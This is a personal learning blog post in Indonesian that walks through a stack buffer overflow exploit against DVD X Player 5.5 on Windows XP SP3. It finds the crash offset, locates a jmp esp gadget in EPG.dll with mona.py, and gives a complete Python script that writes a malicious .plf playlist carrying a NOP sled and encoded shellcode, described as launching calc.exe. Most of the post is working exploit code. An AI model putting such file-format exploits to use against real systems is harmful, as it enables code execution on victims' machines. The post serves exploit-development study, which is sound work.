Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Monday 29 April 2019

Windows Exploit, Simple Buffer Overflow 2

Target : DVD X Player 5.5
OS : Windows XP SP3

Niatnya mempelajari SEH based exploit, tapi mentok dibeberapa step yang tidak sesuai, akhirnya dialihkan ke simple buffer overflow biasa. Tulisan ini hanya sebagai catatan pembelajaran yang isinya tidak jauh dari artikel sebelumnya. 

Crash

Pada kasus ini terdapat 2 crash:
  1. Crash yang terjadi karena overwrite SEH (608)
  2. Crash overwrite EIP(260)
Percobaan kali ini akan menggunakan crash yang kedua, overwrite pada EIP. Pencarian crash menggunakan ragg2 dengan besaran 300, sehingga mendapatkan angka 260.
import struct

#ragg2 -P 300 -r
#ragg2 -q 0x42416142
#Little endian: 260
#Big endian: -1

buf = 'A' * 260
buf += struct.pack('<L',0xdeadbeef)
with open('dvdx300ragg2.plf','wb') as f:
 f.write(buf)

Jump

Pencarian jump esp dilakukan menggunakan mona.py pada immunity debugger, terdapat beberapa alamat yang mengandung jmp esp.
!mona jmp -r esp
Log data, item 21
 Address=61636E56
 Message=  0x61636e56 : push esp # ret 0x0c | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)

langkah selajutnya test alamat jmp esp yang didapat dengan menggunakan INT3 ('\xCC')
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\xCC' * 200
with open('payload.plf','wb') as f:
 f.write(buf)
jmp esp berhasil mengantarkan kita ke shellcode yang akan dibuat.

Shellcode

Shellcode sederhana yang akan ditambahkan adalah nopsled + calc.exe
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\x90' * 50
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"
with open('payload.plf','wb') as f:
 f.write(buf)


5 λ .: Windows Exploit, Simple Buffer Overflow 2 Target : DVD X Player 5.5 OS : Windows XP SP3 Exploit-db :  https://www.exploit-db.com/exploits/17754 Niatnya mempelajari SEH based...

No comments:

Post a Comment

< >